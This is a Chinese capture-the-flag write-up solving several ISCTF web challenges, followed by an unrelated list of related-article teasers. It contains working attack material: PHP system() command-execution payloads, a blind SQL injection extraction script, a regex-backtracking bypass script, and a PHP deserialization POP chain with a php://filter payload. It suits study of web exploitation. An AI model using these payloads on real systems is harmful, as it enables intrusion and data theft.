ISCTF(a)

where_is_the_flag

 答案应该被分成了三份了

蚁剑连接看看

 第一个

第二个

 第三个,在www下

Yunxi{0797d78c-0cb2-4cfb-87e6-f9c102f716f3}

命令执行

POST :
1 = system ( 'tac flag.php' );
1 = system ( 'tac /flag2' );
1 = system ( 'env' );

 

 

1z_Ssql

 使用万能密码

 后面就用脚本了...

import requests
import sys
import time

url = "http://172.16.17.201:50094/#"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:       

        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        
        payload = "admin'and (ascii( substr((select(group_concat(password)) from bthcls.users),{},1))<{})#".format(i,mid)


        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if 'You are so smart!' in res.text:
            max = mid
        else:
            min = mid 

 刚开始以为这个就是结果...

结果为:we1come7o1sctf

联想一下题目

直接admin/we1come7o1sctf登录

获得flag

绕进你的心里

 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
    echo "md5绕过了!";
    if(preg_match("/[0-9]/", $num)){
        die('你干嘛?哎哟!');
    }
    elseif(intval($num)){
        if(preg_match('/.+?ISCTF/is', $str)){
            die("再想想!");
        }
        if(stripos($str, '2023ISCTF') === false){
            die("就差一点点啦!");
        }
        echo $flag;
    }
}
?> 
传入 4 个参数,满足条件即可获得 flag
第一层if可以使用数组进行绕过
第二层intval() 函数会将 $num 给转换为数字,但如果字符中没有找到数字,那么就被视为不可转换
的字符,即返回 false,传入的字符串内必须含有一个数字,可以使用数组绕过, intval() 函数处理非空数组时会返回整数 1
第三层str 是否包含 ‘2023ISCTF’ ,如果不包含,则输出相应提示,如果包含则输出 $flag 。但是如果我们的字符
换中包含有 2023ISCTF 那么就会与正则函数相冲突。
这里使用回溯绕过跳过正则的限制
import requests
data={"pan[gu":"a"*(1000000)+"2023ISCTF"}
url="http://47.109.106.104:9999/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
res = requests.post(data=data,url=url)
print(res.text)

Yunxi{1f30399c-554e-4815-b743-7fe1cf1da0d1}

圣杯之战

 <?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
    }
}

class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
    }
}
class summon{
    public $Saber;
    public $Rider;

    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}

if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?> 
分析源码中回自动对用户传入的数据进行反序列化,则就会触发 __wakeup() 方法。此时,又会执行到
$this->Saber 语句,从而触发 _toString() 方法,然后又会执行到 return $this->excalibuer->arrow;
句,从而触发 _get() 方法。此时又会执行到 return $functioin(); 语句,从而触发 _invoke() 方法,然后
执行我们想要的 include() 函数。再结合文件包含的伪协议知识,即可获得 flag
<?php
class artifact{
public $excalibuer;
public $arrow;
}
class prepare{
public $release;
}
class saber{
public $weapon = "pHp://FilTer/convert.base64-encode/resource=flag.php";
}
class summon{
public $Saber;
public $Rider;
}
$a = new artifact();
$b = new prepare();
$c = new saber();
$d = new summon();
$b -> release = $c;
$a -> excalibuer = $b;
$d -> Saber = $a;
echo urlencode(serialize($d));
?>

运行得到

 payload

O%3A6%3A%22summon%22%3A2%3A%7Bs%3A5%3A%22Saber%22%3BO%3A8%3A%22artifact%22%3A2%3
A%7Bs%3A10%3A%22excalibuer%22%3BO%3A7%3A%22prepare%22%3A1%3A%7Bs%3A7%3A%22releas
e%22%3BO%3A5%3A%22saber%22%3A1%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A52%3A%22pHp%3A%2F
%2FFilTer%2Fconvert.base64-
encode%2Fresource%3Dflag.php%22%3B%7D%7Ds%3A5%3A%22arrow%22%3BN%3B%7Ds%3A5%3A%22
Rider%22%3BN%3B%7D

 

base64

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/249635.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【数学建模】《实战数学建模:例题与讲解》第十四讲-模拟退火、遗传算法(含Matlab代码)

【数学建模】《实战数学建模&#xff1a;例题与讲解》第十四讲-模拟退火、遗传算法&#xff08;含Matlab代码&#xff09; 基本概念模拟退火&#xff08;Simulated Annealing&#xff09;遗传算法&#xff08;Genetic Algorithms&#xff09; 习题14.1&#xff08;1&#xff09…

Leetcode—118.杨辉三角【简单】

2023每日刷题&#xff08;六十&#xff09; Leetcode—118.杨辉三角 实现代码 class Solution { public:vector<vector<int>> generate(int numRows) {vector<vector<int>> ans(numRows);for(int i 0; i < numRows; i) {ans[i].resize(i 1);ans…

小狐狸GPT付费2.4.9弹窗版学习源码介绍

小狐狸GPT付费2.4.9弹窗版学习源码是一套基于GPT&#xff08;Generative Pre-trained Transformer&#xff09;模型的开源代码库&#xff0c;旨在帮助开发者快速构建和训练自己的语言模型。该源码集成了多个先进的自然语言处理技术&#xff0c;包括预训练、微调、对话生成等&am…

BugKu-Web-滑稽

题目环境 持续的动态图片 F12审查元素 拿下flag&#xff1a;flag{595d994a34342417bfc3a3c3a23e0a48}

基于ssm新锐台球厅管理系统的设计与实现论文

新锐台球厅管理系统 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;作为一般的台球厅都会跟上时代的变化&#xff0c;用上计算机来代表重复性的劳动&#xff0c;并且给用户一种新奇的感受&#xff0c;实现新锐台球厅管理系统 在技术上已成熟。本文介绍了新锐台…

【linux】(ubuntu)下 QT 出现的问题

错误一&#xff1a;Make 运行QT程序以后出现这样的错误。 【解决方法】 我的ubuntu版本是18.04.4&#xff0c; 原因1&#xff1a;没有更换软件源 原因2&#xff1a;没安装相关 软件包 注意&#xff1a;这一步很有可能卡死这一步&#xff0c;所以如果一直卡在这并且进度…

51单片机的串口通信

串口通信 本文主要涉及51单片机的串口以及串口通信&#xff0c;包括串口控制寄存器的设置以及波特率的计算方法等。 文章目录 串口通信一、 串行通信与并行通信二、 单工、半双工与全双工通信三、 单片机串口介绍&#xff08;1&#xff09;串口控制寄存器 SCON&#xff08;2&am…

C++:命名空间

从今天正式开始对C的学习&#xff0c;这里只学习C对C的拓展&#xff0c;和C相同的部分在C语言专栏中都可以找到&#xff0c;我们先看一段C代码 #include<iostream> using namespace std; int main() {cout<<"hello world<<endl;return 0; } 同样也是打…

Docker--Docker镜像仓库

一、搭建私有镜像仓库 搭建镜像仓库可以基于Docker官方提供的DockerRegistry来实现。 官网地址&#xff1a;https://hub.docker.com/_/registry &#xff08;一&#xff09;简化版镜像仓库 Docker官方的Docker Registry是一个基础版本的Docker镜像仓库&#xff0c;具备仓库…

pycharm某个xxx.sh文件显示问号,无法编辑

文章目录 pycharm某个xxx.sh文件显示问号,无法编辑其他参考 pycharm某个xxx.sh文件显示问号,无法编辑 问题描述&#xff1a;pycharm某个xxx.sh文件显示问号,无法编辑 问题分析&#xff1a; pycharm无法识别文件类型。 问题解决&#xff1a; 在pycharm中选中该文件&#xff0…

自动化测试(三)webdriver的常用api(1)

目录 等待 sleep休眠 隐式等待 显式等待 打印信息 打印title 打印url 浏览器的操作 浏览器最大化 设置浏览器宽、高 操作浏览器的前进、后退 控制浏览器滚动条 键盘事件 键盘按键用法 键盘组合键用法 鼠标事件 定位一组元素 前面两章我们讲了selenium环境的…

Eolink Apikit 如何进行 Websocket 接口测试?

什么是 websocket &#xff1f; WebSocket 是 HTML5 下一种新的协议&#xff08;websocket协议本质上是一个基于 tcp 的协议&#xff09;。 它实现了浏览器与服务器全双工通信&#xff0c;能更好的节省服务器资源和带宽并达到实时通讯的目的 Websocket 是一个持久化的协议。…

『K8S 入门』二:深入 Pod

『K8S 入门』二&#xff1a;深入 Pod 一、基础命令 获取所有 Pod kubectl get pods2. 获取 deploy kubectl get deploy3. 删除 deploy&#xff0c;这时候相应的 pod 就没了 kubectl delete deploy nginx4. 虽然删掉了 Pod&#xff0c;但是这是时候还有 service&#xff0c…

图片的批量建码怎么做?一图一码的制作方法

在使用图片展示内容时&#xff0c;经常会有同一类型的图片信息是有区别的&#xff0c;如果需要将每张图片批量生成二维码图片&#xff0c;那么出了一张一张去制作之外&#xff0c;有没有能够一键批量建码的功能可以解决这个问题呢&#xff1f;下面来给大家分享一下图片批量建码…

2024 年值得收藏的 10 款 iPhone 数据恢复软件评论

iPhone 让您将数字生活装在口袋里。从您所爱之人的照片和视频&#xff0c;到与学校和工作相关的文档&#xff0c;再到重要的备忘录和日历约会&#xff0c;iPhone 内的微型存储芯片可以容纳的数据量是惊人的。 唯一的问题是&#xff0c;很快就会丢失这些数据。一次错误的点击或…

FLStudio2024版本新增功能及21.3版本安装下载教程

FLStudio21.0.2.3中文版完整下载是最好的音乐开发和制作软件也称为水果循环。它是最受欢迎的工作室&#xff0c;因为它包含了一个主要的听觉工作场所。最新FL有不同的功能&#xff0c;如它包含图形和音乐音序器&#xff0c;帮助您使完美的配乐在一个美妙的方式。此程序可用于Mi…

关于自动化用例设计的思考!

为什么要设计用例&#xff1f; 作为质量保证(QA)人员&#xff0c;设计测试用例的重要性不亚于开发人员编写技术实现方案。如果实现方案设计不周&#xff0c;编码阶段将可能遇到许多问题&#xff1b;同理&#xff0c;如果我们未能设计测试用例&#xff0c;产品质量就难以得到充…

数据库系统 --- 绪论

目录 一、数据库系统概述 1.4个基本概念 2.数据管理技术的产生和发展 二、数据模型 1.数据建模 2.概念模型 3.数据模型的三要素 4.层次模型 5.关系模型 三、数据库系统的三级模式结构 1.基本概念 2.数据库的三级模式结构 3.数据库的两级映像与数据独立性 4.小结 一、数据库系…

TensorFlow神经网络中间层的可视化

TensorFlow神经网络中间层的可视化 TensorFlow神经网络中间层的可视化1. 训练网络并保存为.h5文件2. 通过.h5文件导入网络3. 可视化网络中间层结果&#xff08;1&#xff09;索引取层可视化&#xff08;2&#xff09;通过名字取层可视化 TensorFlow神经网络中间层的可视化 1. …

“Java 已死、前端已凉”?技术变革与编程语言前景:Java和前端的探讨

前端已死话题概论 本文讨论了近期IT圈中流传的“Java 已死、前端已凉”言论。我们审视了这些言论的真实性&#xff0c;并深入探讨了技术行业的演变和新兴技术的出现对编程语言和前端开发的影响。通过分析历史发展、当前趋势和未来展望&#xff0c;我们提供了对这些话题更深层次…